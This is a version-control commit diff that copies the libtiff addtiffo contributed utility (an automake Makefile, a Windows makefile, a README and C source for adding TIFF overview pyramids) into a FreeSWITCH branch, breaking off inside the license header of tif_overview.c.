+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+EXTRA_DIST = README Makefile.vc
+addtiffo_SOURCES = addtiffo.c tif_overview.c tif_ovrcache.c tif_ovrcache.h
+addtiffo_LDADD = $(LIBTIFF)
+INCLUDES = -I$(top_srcdir)/libtiff
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .lo .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/addtiffo/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/addtiffo/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+clean-noinstPROGRAMS:
+	@list='$(noinst_PROGRAMS)'; for p in $$list; do \
+	  f=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  echo " rm -f $$p $$f"; \
+	  rm -f $$p $$f ; \
+	done
+addtiffo$(EXEEXT): $(addtiffo_OBJECTS) $(addtiffo_DEPENDENCIES) 
+	@rm -f addtiffo$(EXEEXT)
+	$(LINK) $(addtiffo_LDFLAGS) $(addtiffo_OBJECTS) $(addtiffo_LDADD) $(LIBS)
+
+mostlyclean-compile:
+	-rm -f *.$(OBJEXT)
+
+distclean-compile:
+	-rm -f *.tab.c
+
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/addtiffo.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_overview.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_ovrcache.Po@am__quote@
+
+.c.o:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c $<
+
+.c.obj:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c `$(CYGPATH_W) '$<'`
+
+.c.lo:
+@am__fastdepCC_TRUE@	if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(LTCOMPILE) -c -o $@ $<
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(PROGRAMS)
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool clean-noinstPROGRAMS \
+	mostlyclean-am
+
+distclean: distclean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+distclean-am: clean-am distclean-compile distclean-generic \
+	distclean-libtool distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
+	clean-libtool clean-noinstPROGRAMS ctags distclean \
+	distclean-compile distclean-generic distclean-libtool \
+	distclean-tags distdir dvi dvi-am html html-am info info-am \
+	install install-am install-data install-data-am install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	maintainer-clean maintainer-clean-generic mostlyclean \
+	mostlyclean-compile mostlyclean-generic mostlyclean-libtool \
+	pdf pdf-am ps ps-am tags uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.vc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.vc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/Makefile.vc) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.vc	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.vc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+#
+# If libtiff.a is installed in /usr/lib or /usr/local/lib just point
+# LIBTIFF_DIR there.  It doesn't need a full libtiff tree.
+#
+!INCLUDE ..\..\nmake.opt
+
+LIBTIFF_DIR =	..\..\libtiff
+#
+INCL		= 	-I..\..\libtiff
+LIBS	=	$(LIBTIFF_DIR)\libtiff.lib
+
+addtiffo:	addtiffo.obj tif_overview.obj tif_ovrcache.obj
+	$(CC) $(CFLAGS) addtiffo.obj tif_overview.obj tif_ovrcache.obj \
+		$(LIBS) /Feaddtiffo.exe
+
+
+addtiffo.obj:	addtiffo.c
+	$(CC) -c $(CFLAGS) addtiffo.c
+
+tif_overview.obj:	tif_overview.c
+	$(CC) -c $(CFLAGS) tif_overview.c
+
+tif_ovrcache.obj:	tif_ovrcache.c
+	$(CC) -c $(CFLAGS) tif_ovrcache.c
+
+clean:
+	-del *.obj
+	-del  addtiffo.exe

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,142 @@
+	addtiffo 1.0
+	============
+
+The addtiffo utility is used to add overview pyramids to an existing 
+TIFF or GeoTIFF file.  Some applications can take advantage of these
+overviews to accelerate overview display performance of large rasters. 
+
+This release of addtiffo is primarily intended for compatibility testing
+with applications, and to see if there is interest in a cleaner release
+of the capability ... perhaps incorporation into the libtiff tools 
+distribution. 
+
+Please feel free to contact me with questions, or problems.
+
+warmerda@home.com
+http://home.gdal.org/~warmerda/
+
+
+Usage
+-----
+
+Usage: addtiffo [-r {average/nearest} [-subifd] 
+                tiff_filename [resolution_reductions]
+
+Example:
+ % addtiffo abc.tif 2 4 8 16
+
+The numeric arguments are the list of reduction factors to 
+generate.  In this example a 1/2, 1/4 1/8 and 1/16 
+
+
+
+Limitations
+-----------
+
+See tif_overview.cpp for up to date details. 
+
+  o Currently only images with bits_per_sample of a multiple of eight
+    will work.
+
+  o The code will attempt to use the same kind of compression,
+    photometric interpretation, and organization as the source image, but
+    it doesn't copy geotiff tags to the reduced resolution images.
+
+  o Reduced resolution overviews for multi-sample files will currently
+    always be generated as PLANARCONFIG_SEPARATE.  This could be fixed
+    reasonable easily if needed to improve compatibility with other
+    packages.  Many don't properly support PLANARCONFIG_SEPARATE. 
+
+  o Overviews are always written as appended IFDs, rather than using the
+    ``tree of tree's'' approach using the SUBIFD tag.  I wanted to implement
+    both, but it isn't currently easy to add a SUBIFD tag to an existing
+    main tiff IFD with libtiff.  I hope to try this again later. 
+
+
+TIFF File Tags
+--------------
+
+The results of running addtiffo on a 1024x1024 tiled greyscale file 
+with the arguments ``2 4 8 16'' is to add four additional TIFF directories
+appended on the file with the SUBFILETYPE flag to 0x1 indicating the extra
+items are reduced resolution images. 
+
+The tiffinfo output of such a file might look like this:
+
+TIFF Directory at offset 0x118008
+  Image Width: 1024 Image Length: 1024
+  Tile Width: 256 Tile Length: 112
+  Bits/Sample: 8
+  Compression Scheme: none
+  Photometric Interpretation: min-is-black
+  Samples/Pixel: 1
+  Planar Configuration: single image plane
+TIFF Directory at offset 0x15e1d2
+  Subfile Type: reduced-resolution image (1 = 0x1)
+  Image Width: 512 Image Length: 512
+  Tile Width: 256 Tile Length: 112
+  Bits/Sample: 8
+  Compression Scheme: none
+  Photometric Interpretation: min-is-black
+  Samples/Pixel: 1
+  Planar Configuration: separate image planes
+TIFF Directory at offset 0x1732b8
+  Subfile Type: reduced-resolution image (1 = 0x1)
+  Image Width: 256 Image Length: 256
+  Tile Width: 256 Tile Length: 112
+  Bits/Sample: 8
+  Compression Scheme: none
+  Photometric Interpretation: min-is-black
+  Samples/Pixel: 1
+  Planar Configuration: separate image planes
+TIFF Directory at offset 0x17a366
+  Subfile Type: reduced-resolution image (1 = 0x1)
+  Image Width: 128 Image Length: 128
+  Tile Width: 128 Tile Length: 112
+  Bits/Sample: 8
+  Compression Scheme: none
+  Photometric Interpretation: min-is-black
+  Samples/Pixel: 1
+  Planar Configuration: separate image planes
+TIFF Directory at offset 0x17b40c
+  Subfile Type: reduced-resolution image (1 = 0x1)
+  Image Width: 64 Image Length: 64
+  Tile Width: 64 Tile Length: 64
+  Bits/Sample: 8
+  Compression Scheme: none
+  Photometric Interpretation: min-is-black
+  Samples/Pixel: 1
+  Planar Configuration: separate image planes
+
+
+Building
+--------
+
+You will need a C compiler.  You will need to have libtiff already
+built and installed.  The provided Makefile should work on most Unix systems.
+A similar file will be needed for Windows, but is not provided. 
+
+The CFLAGS and LIBS macros in the Makefile will have to be updated to 
+point to the correct location of the libtiff include files, and library.
+
+
+Credits
+-------
+
+ o Intergraph Corporation for partially funding the work. 
+
+ o Global Geomatics for partially funding reorganization of the overview
+   building ability as a separate utility.
+
+ o Orrin Long, and Ed Grissom of Intergraph for explaining what needed to 
+   be done. 
+
+ o Max Martinez of Erdas for his discussion of external overviews. 
+
+ o Atlantis Scientific who supported adding averaging, and some other
+   generalizations. 
+
+ o Frank Warmerdam for writing the bulk of the code. 
+
+ o Sam Leffler since this only exists because of his libtiff. 
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/addtiffo.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/addtiffo.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/addtiffo.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/addtiffo.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/addtiffo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+/******************************************************************************
+ * $Id: addtiffo.c,v 1.6 2005/12/16 05:59:55 fwarmerdam Exp $
+ *
+ * Project:  GeoTIFF Overview Builder
+ * Purpose:  Mainline for building overviews in a TIFF file.
+ * Author:   Frank Warmerdam, warmerdam@pobox.com
+ *
+ ******************************************************************************
+ * Copyright (c) 1999, Frank Warmerdam
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included
+ * in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+ * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ ******************************************************************************
+ *
+ * $Log: addtiffo.c,v $
+ * Revision 1.6  2005/12/16 05:59:55  fwarmerdam
+ * Major upgrade to support YCbCr subsampled jpeg images
+ *
+ * Revision 1.4  2004/09/21 13:31:23  dron
+ * Add missed include string.h.
+ *
+ * Revision 1.3  2000/04/18 22:48:31  warmerda
+ * Added support for averaging resampling
+ *
+ * Revision 1.2  2000/01/28 15:36:38  warmerda
+ * pass TIFF handle instead of filename to overview builder
+ *
+ * Revision 1.1  1999/08/17 01:47:59  warmerda
+ * New
+ *
+ * Revision 1.1  1999/03/12 17:46:32  warmerda
+ * New
+ *
+ * Revision 1.2  1999/02/11 22:27:12  warmerda
+ * Added multi-sample support
+ *
+ * Revision 1.1  1999/02/11 18:12:30  warmerda
+ * New
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "tiffio.h"
+
+void TIFFBuildOverviews( TIFF *, int, int *, int, const char *,
+                         int (*)(double,void*), void * );
+
+/************************************************************************/
+/*                                main()                                */
+/************************************************************************/
+
+int main( int argc, char ** argv )
+
+{
+    int		anOverviews[100];   /* TODO: un-hardwire array length, flexible allocate */
+    int		nOverviewCount = 0;
+    int		bUseSubIFD = 0;
+    TIFF	*hTIFF;
+    const char  *pszResampling = "nearest";
+
+/* -------------------------------------------------------------------- */
+/*      Usage:                                                          */
+/* -------------------------------------------------------------------- */
+    if( argc < 2 )
+    {
+        printf( "Usage: addtiffo [-r {nearest,average,mode}]\n"
+                "                tiff_filename [resolution_reductions]\n"
+                "\n"
+                "Example:\n"
+                " %% addtiffo abc.tif 2 4 8 16\n" );
+        return( 1 );
+    }
+
+    while( argv[1][0] == '-' )
+    {
+        if( strcmp(argv[1],"-subifd") == 0 )
+        {
+            bUseSubIFD = 1;
+            argv++;
+            argc--;
+        }
+        else if( strcmp(argv[1],"-r") == 0 )
+        {
+            argv += 2;
+            argc -= 2;
+            pszResampling = *argv;
+        }
+        else
+        {
+            fprintf( stderr, "Incorrect parameters\n" );
+            return( 1 );
+        }
+    }
+
+    /* TODO: resampling mode parameter needs to be encoded in an integer from this point on */
+
+/* -------------------------------------------------------------------- */
+/*      Collect the user requested reduction factors.                   */
+/* -------------------------------------------------------------------- */
+    while( nOverviewCount < argc - 2 && nOverviewCount < 100 )
+    {
+        anOverviews[nOverviewCount] = atoi(argv[nOverviewCount+2]);
+        if( anOverviews[nOverviewCount] <= 0)
+        {
+            fprintf( stderr, "Incorrect parameters\n" );
+            return(1);
+        }
+        nOverviewCount++;
+    }
+
+/* -------------------------------------------------------------------- */
+/*      Default to four overview levels.  It would be nicer if it       */
+/*      defaulted based on the size of the source image.                */
+/* -------------------------------------------------------------------- */
+    /* TODO: make it default based on the size of the source image */
+    if( nOverviewCount == 0 )
+    {
+        nOverviewCount = 4;
+
+        anOverviews[0] = 2;
+        anOverviews[1] = 4;
+        anOverviews[2] = 8;
+        anOverviews[3] = 16;
+    }
+
+/* -------------------------------------------------------------------- */
+/*      Build the overview.                                             */
+/* -------------------------------------------------------------------- */
+    hTIFF = TIFFOpen( argv[1], "r+" );
+    if( hTIFF == NULL )
+    {
+        fprintf( stderr, "TIFFOpen(%s) failed.\n", argv[1] );
+        return( 1 );
+    }
+
+    TIFFBuildOverviews( hTIFF, nOverviewCount, anOverviews, bUseSubIFD,
+                        pszResampling, NULL, NULL );
+
+    TIFFClose( hTIFF );
+
+/* -------------------------------------------------------------------- */
+/*      Optionally test for memory leaks.                               */
+/* -------------------------------------------------------------------- */
+#ifdef DBMALLOC
+    malloc_dump(1);
+#endif
+
+    return( 0 );
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_overview.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_overview.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/tif_overview.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_overview.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_overview.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,896 @@
+/******************************************************************************
+ * tif_overview.c,v 1.9 2005/05/25 09:03:16 dron Exp
+ *
+ * Project:  TIFF Overview Builder
+ * Purpose:  Library function for building overviews in a TIFF file.
+ * Author:   Frank Warmerdam, warmerdam@pobox.com
+ *
+ * Notes:
+ *  o Currently only images with bits_per_sample of a multiple of eight
+ *    will work.
+ *
+ *  o The downsampler currently just takes the top left pixel from the
+ *    source rectangle.  Eventually sampling options of averaging, mode, and
+ *    ``center pixel'' should be offered.
+ *
+ *  o The code will attempt to use the same kind of compression,
+ *    photometric interpretation, and organization as the source image, but
+ *    it doesn't copy geotiff tags to the reduced resolution images.
+ *
+ *  o Reduced resolution overviews for multi-sample files will currently
+ *    always be generated as PLANARCONFIG_SEPARATE.  This could be fixed
+ *    reasonable easily if needed to improve compatibility with other
+ *    packages.  Many don't properly support PLANARCONFIG_SEPARATE. 
+ * 
+ ******************************************************************************
+ * Copyright (c) 1999, Frank Warmerdam
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included
+ * in all copies or substantial portions of the Software.
+ *
